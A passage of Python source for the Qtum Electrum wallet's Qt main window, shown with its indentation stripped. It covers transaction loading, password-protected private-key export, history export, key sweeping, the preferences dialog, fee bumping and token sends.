try:
data = bh2u(bitcoin.base_decode(data, length=None, base=43))
except (BaseException,) as e:
self.show_error((_('Could not decode QR code') + ':\n{}').format(e))
return
tx = self.tx_from_text(data)
if not tx:
return
self.show_transaction(tx)
def read_tx_from_file(self):
fileName = self.getOpenFileName(_("Select your transaction file"), "*.txn")
if not fileName:
return
try:
with open(fileName, "r") as f:
file_content = f.read()
except (ValueError, IOError, os.error) as reason:
self.show_critical(_("Electrum was unable to open your transaction file") + "\n" + str(reason), title=_("Unable to read file or no transaction found"))
return
return self.tx_from_text(file_content)
def do_process_from_text(self):
text = text_dialog(self, _('Input raw transaction'), _("Transaction:"), _("Load transaction"))
if not text:
return
tx = self.tx_from_text(text)
if tx:
self.show_transaction(tx)
def do_process_from_file(self):
tx = self.read_tx_from_file()
if tx:
self.show_transaction(tx)
def do_process_from_txid(self):
from qtum_electrum import transaction
txid, ok = QInputDialog.getText(self, _('Lookup transaction'), _('Transaction ID') + ':')
if ok and txid:
txid = str(txid).strip()
try:
r = self.network.get_transaction(txid)
except BaseException as e:
self.show_message(str(e))
return
tx = transaction.Transaction(r)
self.show_transaction(tx)
@protected
def export_privkeys_dialog(self, password):
if self.wallet.is_watching_only():
self.show_message(_("This is a watching-only wallet"))
return
if isinstance(self.wallet, Multisig_Wallet):
self.show_message(_('WARNING: This is a multi-signature wallet.') + '\n' + _(
'It can not be "backed up" by simply exporting these private keys.'))
d = WindowModalDialog(self, _('Private keys'))
d.setMinimumSize(980, 300)
vbox = QVBoxLayout(d)
msg = "%s\n%s\n%s" % (_("WARNING: ALL your private keys are secret."),
_("Exposing a single private key can compromise your entire wallet!"),
_("In particular, DO NOT use 'redeem private key' services proposed by third parties."))
vbox.addWidget(QLabel(msg))
e = QTextEdit()
e.setReadOnly(True)
vbox.addWidget(e)
defaultname = 'qtum-electrum-private-keys.csv'
select_msg = _('Select file to export your private keys to')
hbox, filename_e, csv_button = filename_field(self, self.config, defaultname, select_msg)
vbox.addLayout(hbox)
b = OkButton(d, _('Export'))
b.setEnabled(False)
vbox.addLayout(Buttons(CancelButton(d), b))
private_keys = {}
addresses = self.wallet.get_addresses()
done = False
cancelled = False
def privkeys_thread():
for addr in addresses:
time.sleep(0.1)
if done or cancelled:
break
privkey = self.wallet.export_private_key(addr, password)[0]
private_keys[addr] = privkey
self.computing_privkeys_signal.emit()
if not cancelled:
self.computing_privkeys_signal.disconnect()
self.show_privkeys_signal.emit()
def show_privkeys():
s = "\n".join( map( lambda x: x[0] + "\t"+ x[1], private_keys.items()))
e.setText(s)
b.setEnabled(True)
self.show_privkeys_signal.disconnect()
nonlocal done
done = True
def on_dialog_closed(*args):
nonlocal done
nonlocal cancelled
if not done:
cancelled = True
self.computing_privkeys_signal.disconnect()
self.show_privkeys_signal.disconnect()
self.computing_privkeys_signal.connect(
lambda: e.setText("Please wait... %d/%d" % (len(private_keys), len(addresses))))
self.show_privkeys_signal.connect(show_privkeys)
d.finished.connect(on_dialog_closed)
threading.Thread(target=privkeys_thread).start()
if not d.exec_():
done = True
return
filename = filename_e.text()
if not filename:
return
try:
self.do_export_privkeys(filename, private_keys, csv_button.isChecked())
except (IOError, os.error) as reason:
txt = "\n".join([
_("Qtum Electrum was unable to produce a private key-export."),
str(reason)
])
self.show_critical(txt, title=_("Unable to create csv"))
except Exception as e:
self.show_message(str(e))
return
self.show_message(_("Private keys exported."))
def do_export_privkeys(self, fileName, pklist, is_csv):
with open(fileName, "w+") as f:
if is_csv:
transaction = csv.writer(f)
transaction.writerow(["address", "private_key"])
for addr, pk in pklist.items():
transaction.writerow(["%34s"%addr,pk])
else:
import json
f.write(json.dumps(pklist, indent=4))
def do_import_labels(self):
def import_labels(path):
def _validate(data):
return data # TODO
def import_labels_assign(data):
for key, value in data.items():
self.wallet.set_label(key, value)
import_meta(path, _validate, import_labels_assign)
def on_import():
self.need_update.set()
import_meta_gui(self, _('labels'), import_labels, on_import)
def do_export_labels(self):
def export_labels(filename):
export_meta(self.wallet.labels, filename)
export_meta_gui(self, _('labels'), export_labels)
def export_history_dialog(self):
d = WindowModalDialog(self, _('Export History'))
d.setMinimumSize(400, 200)
vbox = QVBoxLayout(d)
defaultname = os.path.expanduser('~/qtum-electrum-history.csv')
select_msg = _('Select file to export your wallet transactions to')
hbox, filename_e, csv_button = filename_field(self, self.config, defaultname, select_msg)
vbox.addLayout(hbox)
vbox.addStretch(1)
hbox = Buttons(CancelButton(d), OkButton(d, _('Export')))
vbox.addLayout(hbox)
run_hook('export_history_dialog', self, hbox)
self.update()
if not d.exec_():
return
filename = filename_e.text()
if not filename:
return
try:
self.do_export_history(self.wallet, filename, csv_button.isChecked())
except (IOError, os.error) as reason:
export_error_label = _("Electrum was unable to produce a transaction export.")
self.show_critical(export_error_label + "\n" + str(reason), title=_("Unable to export history"))
return
self.show_message(_("Your wallet history has been successfully exported."))
def plot_history_dialog(self):
if plot_history is None:
return
wallet = self.wallet
history = wallet.get_history()
if len(history) > 0:
plt = plot_history(self.wallet, history)
plt.show()
def do_export_history(self, wallet, fileName, is_csv):
history = wallet.get_history()
lines = []
for item in history:
tx_hash, height, confirmations, timestamp, value, balance = item
if height>0:
if timestamp is not None:
time_string = format_time(timestamp)
else:
time_string = _("unverified")
else:
time_string = _("unconfirmed")
if value is not None:
value_string = format_satoshis(value, True)
else:
value_string = '--'
if tx_hash:
label = wallet.get_label(tx_hash)
else:
label = ""
if is_csv:
lines.append([tx_hash, label, confirmations, value_string, time_string])
else:
lines.append({'txid':tx_hash, 'date':"%16s"%time_string, 'label':label, 'value':value_string})
with open(fileName, "w+") as f:
if is_csv:
transaction = csv.writer(f, lineterminator='\n')
transaction.writerow(["transaction_hash","label", "confirmations", "value", "timestamp"])
for line in lines:
transaction.writerow(line)
else:
import json
f.write(json.dumps(lines, indent = 4))
def sweep_key_dialog(self):
d = WindowModalDialog(self, title=_('Sweep private keys'))
d.setMinimumSize(600, 300)
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_("Enter private keys:")))
keys_e = ScanQRTextEdit()
keys_e.setTabChangesFocus(True)
vbox.addWidget(keys_e)
addresses = self.wallet.get_unused_addresses()
if not addresses:
try:
addresses = self.wallet.get_receiving_addresses()
except AttributeError:
addresses = self.wallet.get_addresses()
h, address_e = address_field(addresses)
vbox.addLayout(h)
vbox.addStretch(1)
button = OkButton(d, _('Sweep'))
vbox.addLayout(Buttons(CancelButton(d), button))
button.setEnabled(False)
def get_address():
addr = str(address_e.text()).strip()
if bitcoin.is_address(addr):
return addr
def get_pk():
text = str(keys_e.toPlainText())
return keystore.get_private_keys(text)
f = lambda: button.setEnabled(get_address() is not None and get_pk() is not None)
on_address = lambda text: address_e.setStyleSheet(BLACK_FG if get_address() else RED_FG)
keys_e.textChanged.connect(f)
address_e.textChanged.connect(f)
address_e.textChanged.connect(on_address)
if not d.exec_():
return
from qtum_electrum.wallet import sweep_preparations
try:
self.do_clear()
coins, keypairs = sweep_preparations(get_pk(), self.network)
self.tx_external_keypairs = keypairs
self.spend_coins(coins)
self.payto_e.setText(get_address())
self.spend_max()
self.payto_e.setFrozen(True)
self.amount_e.setFrozen(True)
except BaseException as e:
self.show_message(str(e))
return
self.warn_if_watching_only()
def _do_import(self, title, msg, func):
text = text_dialog(self, title, msg + ' :', _('Import'))
if not text:
return
bad = []
good = []
for key in str(text).split():
try:
addr = func(key)
good.append(addr)
except BaseException as e:
bad.append(key)
continue
if good:
self.show_message(_("The following addresses were added") + ':\n' + '\n'.join(good))
if bad:
self.show_critical(_("The following inputs could not be imported") + ':\n'+ '\n'.join(bad))
self.address_list.update()
self.history_list.update()
def import_addresses(self):
if not self.wallet.can_import_address():
return
title, msg = _('Import addresses'), _("Enter addresses")
self._do_import(title, msg, self.wallet.import_address)
@protected
def do_import_privkey(self, password):
if not self.wallet.can_import_privkey():
return
title, msg = _('Import private keys'), _("Enter private keys")
self._do_import(title, msg, lambda x: self.wallet.import_private_key(x, password))
def update_fiat(self):
b = self.fx and self.fx.is_enabled()
self.fiat_send_e.setVisible(b)
self.fiat_receive_e.setVisible(b)
self.history_list.refresh_headers()
self.history_list.update()
self.address_list.refresh_headers()
self.address_list.update()
self.update_status()
def settings_dialog(self):
self.need_restart = False
d = WindowModalDialog(self, _('Preferences'))
vbox = QVBoxLayout()
tabs = QTabWidget()
gui_widgets = []
fee_widgets = []
tx_widgets = []
id_widgets = []
# language
lang_help = _('Select which language is used in the GUI (after restart).')
lang_label = HelpLabel(_('Language') + ':', lang_help)
lang_combo = QComboBox()
from qtum_electrum.i18n import languages
lang_combo.addItems(list(languages.values()))
lang_keys = list(languages.keys())
lang_cur_setting = self.config.get("language", '')
try:
index = lang_keys.index(lang_cur_setting)
except ValueError: # not in list
index = 0
lang_combo.setCurrentIndex(index)
if not self.config.is_modifiable('language'):
for w in [lang_combo, lang_label]: w.setEnabled(False)
def on_lang(x):
lang_request = list(languages.keys())[lang_combo.currentIndex()]
if lang_request != self.config.get('language'):
self.config.set_key("language", lang_request, True)
self.need_restart = True
lang_combo.currentIndexChanged.connect(on_lang)
gui_widgets.append((lang_label, lang_combo))
nz_help = _('Number of zeros displayed after the decimal point. For example, if this is set to 2, "1." will be displayed as "1.00"')
nz_label = HelpLabel(_('Zeros after decimal point') + ':', nz_help)
nz = QSpinBox()
nz.setMinimum(0)
nz.setMaximum(self.decimal_point)
nz.setValue(self.num_zeros)
if not self.config.is_modifiable('num_zeros'):
for w in [nz, nz_label]: w.setEnabled(False)
def on_nz():
value = nz.value()
if self.num_zeros != value:
self.num_zeros = value
self.config.set_key('num_zeros', value, True)
self.history_list.update()
self.address_list.update()
nz.valueChanged.connect(on_nz)
gui_widgets.append((nz_label, nz))
def on_dynfee(x):
self.config.set_key('dynamic_fees', x == Qt.Checked)
self.fee_slider.update()
dynfee_cb = QCheckBox(_('Use dynamic fees'))
dynfee_cb.setChecked(self.config.is_dynfee())
dynfee_cb.setToolTip(_("Use fees recommended by the server."))
fee_widgets.append((dynfee_cb, None))
dynfee_cb.stateChanged.connect(on_dynfee)
feebox_cb = QCheckBox(_('Edit fees manually'))
feebox_cb.setChecked(self.config.get('show_fee', False))
feebox_cb.setToolTip(_("Show fee edit box in send tab."))
def on_feebox(x):
self.config.set_key('show_fee', x == Qt.Checked)
self.fee_e.setVisible(bool(x))
feebox_cb.stateChanged.connect(on_feebox)
fee_widgets.append((feebox_cb, None))
use_rbf_cb = QCheckBox(_('Use Replace-By-Fee'))
use_rbf_cb.setChecked(self.config.get('use_rbf', True))
use_rbf_cb.setToolTip(
_('If you check this box, your transactions will be marked as non-final,') + '\n' + \
_('and you will have the possibility, while they are unconfirmed, to replace them with transactions that pay higher fees.') + '\n' + \
_('Note that some merchants do not accept non-final transactions until they are confirmed.'))
def on_use_rbf(x):
self.config.set_key('use_rbf', x == Qt.Checked)
use_rbf_cb.stateChanged.connect(on_use_rbf)
fee_widgets.append((use_rbf_cb, None))
# rbf_policy = self.config.get('rbf_policy', 1)
# rbf_label = HelpLabel(_('Propose Replace-By-Fee') + ':', '')
# rbf_combo = QComboBox()
# rbf_combo.addItems([_('Always'), _('If the fee is low'), _('Never')])
# rbf_combo.setCurrentIndex(rbf_policy)
# def on_rbf(x):
# self.config.set_key('rbf_policy', x)
# rbf_combo.currentIndexChanged.connect(on_rbf)
# fee_widgets.append((rbf_label, rbf_combo))
msg = _('OpenAlias record, used to receive coins and to sign payment requests.') + '\n\n'\
+ _('The following alias providers are available:') + '\n'\
+ '\n'.join(['https://cryptoname.co/', 'http://xmr.link']) + '\n\n'\
+ 'For more information, see http://openalias.org'
alias_label = HelpLabel(_('OpenAlias') + ':', msg)
alias = self.config.get('alias','')
alias_e = QLineEdit(alias)
def set_alias_color():
if not self.config.get('alias'):
alias_e.setStyleSheet("")
return
if self.alias_info:
alias_addr, alias_name, validated = self.alias_info
alias_e.setStyleSheet(GREEN_BG if validated else RED_BG)
else:
alias_e.setStyleSheet(RED_BG)
def on_alias_edit():
alias_e.setStyleSheet("")
alias = str(alias_e.text())
self.config.set_key('alias', alias, True)
if alias:
self.fetch_alias()
set_alias_color()
self.alias_received_signal.connect(set_alias_color)
alias_e.editingFinished.connect(on_alias_edit)
id_widgets.append((alias_label, alias_e))
# SSL certificate
msg = ' '.join([
_('SSL certificate used to sign payment requests.'),
_('Use setconfig to set ssl_chain and ssl_privkey.'),
])
if self.config.get('ssl_privkey') or self.config.get('ssl_chain'):
try:
SSL_identity = paymentrequest.check_ssl_config(self.config)
SSL_error = None
except BaseException as e:
SSL_identity = "error"
SSL_error = str(e)
else:
SSL_identity = ""
SSL_error = None
SSL_id_label = HelpLabel(_('SSL certificate') + ':', msg)
SSL_id_e = QLineEdit(SSL_identity)
SSL_id_e.setStyleSheet(RED_BG if SSL_error else GREEN_BG if SSL_identity else '')
if SSL_error:
SSL_id_e.setToolTip(SSL_error)
SSL_id_e.setReadOnly(True)
id_widgets.append((SSL_id_label, SSL_id_e))
units = ['QTUM', 'mQTUM', 'bits']
msg = _('Base unit of your wallet.')\
+ '\n1QTUM=1000mQTUM.\n' \
+ _(' These settings affects the fields in the Send tab')+' '
unit_label = HelpLabel(_('Base unit') + ':', msg)
unit_combo = QComboBox()
unit_combo.addItems(units)
unit_combo.setCurrentIndex(units.index(self.base_unit()))
def on_unit(x, nz):
unit_result = units[unit_combo.currentIndex()]
if self.base_unit() == unit_result:
return
edits = self.amount_e, self.fee_e, self.receive_amount_e
amounts = [edit.get_amount() for edit in edits]
if unit_result == 'QTUM':
self.decimal_point = 8
elif unit_result == 'mQTUM':
self.decimal_point = 5
elif unit_result == 'bits':
self.decimal_point = 2
else:
raise Exception('Unknown base unit')
self.config.set_key('decimal_point', self.decimal_point, True)
nz.setMaximum(self.decimal_point)
self.history_list.update()
self.request_list.update()
self.address_list.update()
for edit, amount in zip(edits, amounts):
edit.setAmount(amount)
self.update_status()
unit_combo.currentIndexChanged.connect(lambda x: on_unit(x, nz))
gui_widgets.append((unit_label, unit_combo))
block_explorers = sorted(util.block_explorer_info().keys())
msg = _('Choose which online block explorer to use for functions that open a web browser')
block_ex_label = HelpLabel(_('Online Block Explorer') + ':', msg)
block_ex_combo = QComboBox()
block_ex_combo.addItems(block_explorers)
block_ex_combo.setCurrentIndex(block_ex_combo.findText(util.block_explorer(self.config)))
def on_be(x):
be_result = block_explorers[block_ex_combo.currentIndex()]
self.config.set_key('block_explorer', be_result, True)
block_ex_combo.currentIndexChanged.connect(on_be)
gui_widgets.append((block_ex_label, block_ex_combo))
from qtum_electrum import qrscanner
system_cameras = qrscanner._find_system_cameras()
qr_combo = QComboBox()
qr_combo.addItem("Default","default")
for camera, device in system_cameras.items():
qr_combo.addItem(camera, device)
#combo.addItem("Manually specify a device", config.get("video_device"))
index = qr_combo.findData(self.config.get("video_device"))
qr_combo.setCurrentIndex(index)
msg = _("Install the zbar package to enable this.")
qr_label = HelpLabel(_('Video Device') + ':', msg)
qr_combo.setEnabled(qrscanner.libzbar is not None)
on_video_device = lambda x: self.config.set_key("video_device", qr_combo.itemData(x), True)
qr_combo.currentIndexChanged.connect(on_video_device)
gui_widgets.append((qr_label, qr_combo))
usechange_cb = QCheckBox(_('Use change addresses'))
usechange_cb.setChecked(self.wallet.use_change)
if not self.config.is_modifiable('use_change'): usechange_cb.setEnabled(False)
def on_usechange(x):
usechange_result = x == Qt.Checked
if self.wallet.use_change != usechange_result:
self.wallet.use_change = usechange_result
self.wallet.storage.put('use_change', self.wallet.use_change)
multiple_cb.setEnabled(self.wallet.use_change)
usechange_cb.stateChanged.connect(on_usechange)
usechange_cb.setToolTip(_('Using change addresses makes it more difficult for other people to track your transactions.'))
tx_widgets.append((usechange_cb, None))
def on_multiple(x):
multiple = x == Qt.Checked
if self.wallet.multiple_change != multiple:
self.wallet.multiple_change = multiple
self.wallet.storage.put('multiple_change', multiple)
multiple_change = self.wallet.multiple_change
multiple_cb = QCheckBox(_('Use multiple change addresses'))
multiple_cb.setEnabled(self.wallet.use_change)
multiple_cb.setToolTip('\n'.join([
_('In some cases, use up to 3 change addresses in order to break '
'up large coin amounts and obfuscate the recipient address.'),
_('This may result in higher transactions fees.')
]))
multiple_cb.setChecked(multiple_change)
multiple_cb.stateChanged.connect(on_multiple)
tx_widgets.append((multiple_cb, None))
def fmt_docs(key, klass):
lines = [ln.lstrip(" ") for ln in klass.__doc__.split("\n")]
return '\n'.join([key, "", " ".join(lines)])
choosers = sorted(coinchooser.COIN_CHOOSERS.keys())
if len(choosers) > 1:
chooser_name = coinchooser.get_name(self.config)
msg = _('Choose coin (UTXO) selection method. The following are available:\n\n')
msg += '\n\n'.join(fmt_docs(*item) for item in coinchooser.COIN_CHOOSERS.items())
chooser_label = HelpLabel(_('Coin selection') + ':', msg)
chooser_combo = QComboBox()
chooser_combo.addItems(choosers)
i = choosers.index(chooser_name) if chooser_name in choosers else 0
chooser_combo.setCurrentIndex(i)
def on_chooser(x):
chooser_name = choosers[chooser_combo.currentIndex()]
self.config.set_key('coin_chooser', chooser_name)
chooser_combo.currentIndexChanged.connect(on_chooser)
tx_widgets.append((chooser_label, chooser_combo))
def on_unconf(x):
self.config.set_key('confirmed_only', bool(x))
conf_only = self.config.get('confirmed_only', False)
unconf_cb = QCheckBox(_('Spend only confirmed coins'))
unconf_cb.setToolTip(_('Spend only confirmed inputs.'))
unconf_cb.setChecked(conf_only)
unconf_cb.stateChanged.connect(on_unconf)
tx_widgets.append((unconf_cb, None))
# Fiat Currency
hist_checkbox = QCheckBox()
fiat_address_checkbox = QCheckBox()
ccy_combo = QComboBox()
ex_combo = QComboBox()
def update_currencies():
if not self.fx: return
currencies = sorted(self.fx.get_currencies(self.fx.get_history_config()))
ccy_combo.clear()
ccy_combo.addItems([_('None')] + currencies)
if self.fx.is_enabled():
ccy_combo.setCurrentIndex(ccy_combo.findText(self.fx.get_currency()))
def update_history_cb():
if not self.fx: return
hist_checkbox.setChecked(self.fx.get_history_config())
hist_checkbox.setEnabled(self.fx.is_enabled())
def update_fiat_address_cb():
if not self.fx: return
fiat_address_checkbox.setChecked(self.fx.get_fiat_address_config())
def update_exchanges():
if not self.fx: return
b = self.fx.is_enabled()
ex_combo.setEnabled(b)
if b:
h = self.fx.get_history_config()
c = self.fx.get_currency()
exchanges = self.fx.get_exchanges_by_ccy(c, h)
else:
exchanges = self.fx.get_exchanges_by_ccy('USD', False)
ex_combo.clear()
ex_combo.addItems(sorted(exchanges))
ex_combo.setCurrentIndex(ex_combo.findText(self.fx.config_exchange()))
def on_currency(hh):
if not self.fx: return
b = bool(ccy_combo.currentIndex())
ccy = str(ccy_combo.currentText()) if b else None
self.fx.set_enabled(b)
if b and ccy != self.fx.ccy:
self.fx.set_currency(ccy)
update_history_cb()
update_exchanges()
self.update_fiat()
def on_exchange(idx):
exchange = str(ex_combo.currentText())
if self.fx and self.fx.is_enabled() and exchange and exchange != self.fx.exchange.name():
self.fx.set_exchange(exchange)
def on_history(checked):
if not self.fx: return
self.fx.set_history_config(checked)
update_exchanges()
self.history_list.refresh_headers()
if self.fx.is_enabled() and checked:
# reset timeout to get historical rates
self.fx.timeout = 0
def on_fiat_address(checked):
if not self.fx: return
self.fx.set_fiat_address_config(checked)
self.address_list.refresh_headers()
self.address_list.update()
update_currencies()
update_history_cb()
update_fiat_address_cb()
update_exchanges()
ccy_combo.currentIndexChanged.connect(on_currency)
hist_checkbox.stateChanged.connect(on_history)
fiat_address_checkbox.stateChanged.connect(on_fiat_address)
ex_combo.currentIndexChanged.connect(on_exchange)
fiat_widgets = []
fiat_widgets.append((QLabel(_('Fiat currency')), ccy_combo))
fiat_widgets.append((QLabel(_('Show history rates')), hist_checkbox))
fiat_widgets.append((QLabel(_('Show Fiat balance for addresses')), fiat_address_checkbox))
fiat_widgets.append((QLabel(_('Source')), ex_combo))
tabs_info = [
(fee_widgets, _('Fees')),
(tx_widgets, _('Transactions')),
(gui_widgets, _('Appearance')),
(fiat_widgets, _('Fiat')),
(id_widgets, _('Identity')),
]
for widgets, name in tabs_info:
tab = QWidget()
grid = QGridLayout(tab)
grid.setColumnStretch(0, 1)
for a,b in widgets:
i = grid.rowCount()
if b:
if a:
grid.addWidget(a, i, 0)
grid.addWidget(b, i, 1)
else:
grid.addWidget(a, i, 0, 1, 2)
tabs.addTab(tab, name)
vbox.addWidget(tabs)
vbox.addStretch(1)
vbox.addLayout(Buttons(CloseButton(d)))
d.setLayout(vbox)
# run the dialog
d.exec_()
if self.fx:
self.fx.timeout = 0
self.alias_received_signal.disconnect(set_alias_color)
run_hook('close_settings_dialog')
if self.need_restart:
self.show_warning(_('Please restart Electrum to activate the new GUI settings'), title=_('Success'))
def closeEvent(self, event):
# It seems in some rare cases this closeEvent() is called twice
if not self.cleaned_up:
self.cleaned_up = True
self.clean_up()
event.accept()
def clean_up(self):
self.wallet.thread.stop()
if self.network:
self.network.unregister_callback(self.on_network)
self.config.set_key("is_maximized", self.isMaximized())
if not self.isMaximized():
g = self.geometry()
self.wallet.storage.put("winpos-qt", [g.left(),g.top(),
g.width(),g.height()])
self.config.set_key("console-history", self.console.history[-50:],
True)
if self.qr_window:
self.qr_window.close()
self.close_wallet()
self.gui_object.close_window(self)
def plugins_dialog(self):
self.pluginsdialog = d = WindowModalDialog(self, _('Electrum Plugins'))
plugins = self.gui_object.plugins
vbox = QVBoxLayout(d)
# plugins
scroll = QScrollArea()
scroll.setEnabled(True)
scroll.setWidgetResizable(True)
scroll.setMinimumSize(400,250)
vbox.addWidget(scroll)
w = QWidget()
scroll.setWidget(w)
w.setMinimumHeight(plugins.count() * 35)
grid = QGridLayout()
grid.setColumnStretch(0,1)
w.setLayout(grid)
settings_widgets = {}
def enable_settings_widget(p, name, i):
widget = settings_widgets.get(name)
if not widget and p and p.requires_settings():
widget = settings_widgets[name] = p.settings_widget(d)
grid.addWidget(widget, i, 1)
if widget:
widget.setEnabled(bool(p and p.is_enabled()))
def do_toggle(cb, name, i):
p = plugins.toggle(name)
cb.setChecked(bool(p))
enable_settings_widget(p, name, i)
run_hook('init_qt', self.gui_object)
for i, descr in enumerate(plugins.descriptions.values()):
full_name = descr['__name__']
prefix, _separator, name = full_name.rpartition('.')
p = plugins.get(name)
if descr.get('registers_keystore'):
continue
try:
cb = QCheckBox(descr['fullname'])
plugin_is_loaded = p is not None
cb_enabled = (not plugin_is_loaded and plugins.is_available(name, self.wallet)
or plugin_is_loaded and p.can_user_disable())
cb.setEnabled(cb_enabled)
cb.setChecked(plugin_is_loaded and p.is_enabled())
grid.addWidget(cb, i, 0)
enable_settings_widget(p, name, i)
cb.clicked.connect(partial(do_toggle, cb, name, i))
msg = descr['description']
if descr.get('requires'):
msg += '\n\n' + _('Requires') + ':\n' + '\n'.join(map(lambda x: x[1], descr.get('requires')))
grid.addWidget(HelpButton(msg), i, 2)
except Exception:
self.print_msg("error: cannot display plugin", name)
traceback.print_exc(file=sys.stdout)
grid.setRowStretch(len(plugins.descriptions.values()), 1)
vbox.addLayout(Buttons(CloseButton(d)))
d.exec_()
def cpfp(self, parent_tx, new_tx):
total_size = parent_tx.estimated_size() + new_tx.estimated_size()
d = WindowModalDialog(self, _('Child Pays for Parent'))
vbox = QVBoxLayout(d)
msg = (
"A CPFP is a transaction that sends an unconfirmed output back to "
"yourself, with a high fee. The goal is to have miners confirm "
"the parent transaction in order to get the fee attached to the "
"child transaction.")
vbox.addWidget(WWLabel(_(msg)))
msg2 = ("The proposed fee is computed using your "
"fee/kB settings, applied to the total size of both child and "
"parent transactions. After you broadcast a CPFP transaction, "
"it is normal to see a new unconfirmed transaction in your history.")
vbox.addWidget(WWLabel(_(msg2)))
grid = QGridLayout()
grid.addWidget(QLabel(_('Total size') + ':'), 0, 0)
grid.addWidget(QLabel('%d bytes'% total_size), 0, 1)
max_fee = new_tx.output_value()
grid.addWidget(QLabel(_('Input amount') + ':'), 1, 0)
grid.addWidget(QLabel(self.format_amount(max_fee) + ' ' + self.base_unit()), 1, 1)
output_amount = QLabel('')
grid.addWidget(QLabel(_('Output amount') + ':'), 2, 0)
grid.addWidget(output_amount, 2, 1)
fee_e = BTCAmountEdit(self.get_decimal_point)
def f(x):
a = max_fee - fee_e.get_amount()
output_amount.setText((self.format_amount(a) + ' ' + self.base_unit()) if a else '')
fee_e.textChanged.connect(f)
fee = self.config.fee_per_kb() * total_size / 1000
fee_e.setAmount(fee)
grid.addWidget(QLabel(_('Fee' + ':')), 3, 0)
grid.addWidget(fee_e, 3, 1)
def on_rate(dyn, pos, fee_rate):
fee = fee_rate * total_size / 1000
fee = min(max_fee, fee)
fee_e.setAmount(fee)
fee_slider = FeeSlider(self, self.config, on_rate)
fee_slider.update()
grid.addWidget(fee_slider, 4, 1)
vbox.addLayout(grid)
vbox.addLayout(Buttons(CancelButton(d), OkButton(d)))
if not d.exec_():
return
fee = fee_e.get_amount()
if fee > max_fee:
self.show_error(_('Max fee exceeded'))
return
new_tx = self.wallet.cpfp(parent_tx, fee)
new_tx.set_rbf(True)
self.show_transaction(new_tx)
def bump_fee_dialog(self, tx):
is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
if fee is None:
self.show_error(_("Can't bump fee: unknown fee for original transaction."))
return
tx_label = self.wallet.get_label(tx.txid())
tx_size = tx.estimated_size()
d = WindowModalDialog(self, _('Bump Fee'))
vbox = QVBoxLayout(d)
vbox.addWidget(QLabel(_('Current fee') + ': %s'% self.format_amount(fee) + ' ' + self.base_unit()))
vbox.addWidget(QLabel(_('New fee' + ':')))
fee_e = BTCAmountEdit(self.get_decimal_point)
fee_e.setAmount(fee * 1.5)
vbox.addWidget(fee_e)
def on_rate(dyn, pos, fee_rate):
fee = fee_rate * tx_size / 1000
fee_e.setAmount(fee)
fee_slider = FeeSlider(self, self.config, on_rate)
vbox.addWidget(fee_slider)
cb = QCheckBox(_('Final'))
vbox.addWidget(cb)
vbox.addLayout(Buttons(CancelButton(d), OkButton(d)))
if not d.exec_():
return
is_final = cb.isChecked()
new_fee = fee_e.get_amount()
delta = new_fee - fee
if delta < 0:
self.show_error("fee too low")
return
try:
new_tx = self.wallet.bump_fee(tx, delta)
except BaseException as e:
traceback.print_exc(file=sys.stderr)
self.show_error(_('Error bumping fee') + ':\n' + str(e))
return
if is_final:
new_tx.set_rbf(False)
self.show_transaction(new_tx, tx_label)
def save_transaction_into_wallet(self, tx):
win = self.top_level_window()
try:
if not self.wallet.add_transaction(tx.txid(), tx):
win.show_error(_("Transaction could not be saved.") + "\n" +
_("It conflicts with current history."))
return False
except AddTransactionException as e:
win.show_error(e)
return False
else:
self.wallet.save_transactions(write=True)
# need to update at least: history_list, utxo_list, address_list
self.need_update.set()
msg = (_("Transaction added to wallet history.") + '\n\n' +
_("Note: this is an offline transaction, if you want the network "
"to see it, you need to broadcast it."))
win.msg_box(QPixmap(":icons/offline_tx.png"), None, _('Success'), msg)
return True
def create_tokens_tab(self):
from .token_list import TokenBalanceList, TokenHistoryList
self.token_balance_list = tbl = TokenBalanceList(self)
self.token_hist_list = thl = TokenHistoryList(self)
splitter = QSplitter(self)
splitter.addWidget(tbl)
splitter.addWidget(thl)
splitter.setOrientation(Qt.Vertical)
return splitter
def set_token(self, token):
"""
:type token: Token
:return:
"""
self.wallet.add_token(token)
self.token_balance_list.update()
self.token_hist_list.update()
def delete_token(self, key):
if not self.question(_("Remove {} from your list of tokens?".format(
self.tokens[key].name))):
return False
self.wallet.delete_token(key)
self.token_balance_list.update()
self.token_hist_list.update()
def token_add_dialog(self):
d = TokenAddDialog(self)
d.show()
def token_view_dialog(self, token):
"""
:type token: Token
"""
d = TokenInfoDialog(self, token)
d.show()
def token_send_dialog(self, token):
"""
:type token: Token
"""
d = TokenSendDialog(self, token)
d.show()
def do_token_pay(self, token, pay_to, amount, gas_limit, gas_price, dialog):
try:
datahex = 'a9059cbb{}{:064x}'.format(pay_to.zfill(64), amount)
script = contract_script(gas_limit, gas_price, datahex, token.contract_addr, opcodes.OP_CALL)
outputs = [TxOutput(TYPE_SCRIPT, script, 0), ]
tx_desc = _('pay out {} {}').format(amount / (10 ** token.decimals), token.symbol)
self._smart_contract_broadcast(outputs, tx_desc, gas_limit * gas_price, token.bind_addr, dialog)
except (BaseException,) as e:
traceback.print_exc(file=sys.stderr)
dialog.show_message(str(e))
def _smart_contract_broadcast(self, outputs, desc, gas_fee, sender, dialog, broadcast_done=None):
coins = self.get_coins()
try:
tx = self.wallet.make_unsigned_transaction(coins, outputs, self.config, None,
change_addr=sender,
gas_fee=gas_fee,
sender=sender)
except NotEnoughFunds:
dialog.show_message(_("Insufficient funds"))
return
except BaseException as e:
traceback.print_exc(file=sys.stdout)
dialog.show_message(str(e))
return
amount = sum(map(lambda y: y[2], outputs))
fee = tx.get_fee()
if fee < self.wallet.relayfee() * tx.estimated_size() / 1000:
dialog.show_message(
_("This transaction requires a higher fee, or it will not be propagated by the network"))
return
# confirmation dialog
msg = [
_(desc),
_("Mining fee") + ": " + self.format_amount_and_units(fee - gas_fee),
_("Gas fee") + ": " + self.format_amount_and_units(gas_fee),
]
confirm_rate = bitcoin.FEERATE_WARNING_HIGH_FEE
if fee - gas_fee > confirm_rate * tx.estimated_size() / 1000:
msg.append(_('Warning') + ': ' + _("The fee for this transaction seems unusually high."))
if self.wallet.has_keystore_encryption():
msg.append("")
msg.append(_("Enter your password to proceed"))
password = self.password_dialog('\n'.join(msg))
if not password:
return
else:
msg.append(_('Proceed?'))
password = None
if not self.question('\n'.join(msg)):
return
def sign_done(success):
if success:
if not tx.is_complete():
self.show_transaction(tx)
self.do_clear()
else:
self.broadcast_transaction(tx, desc)
if broadcast_done:
broadcast_done(tx)
self.sign_tx_with_password(tx, sign_done, password)
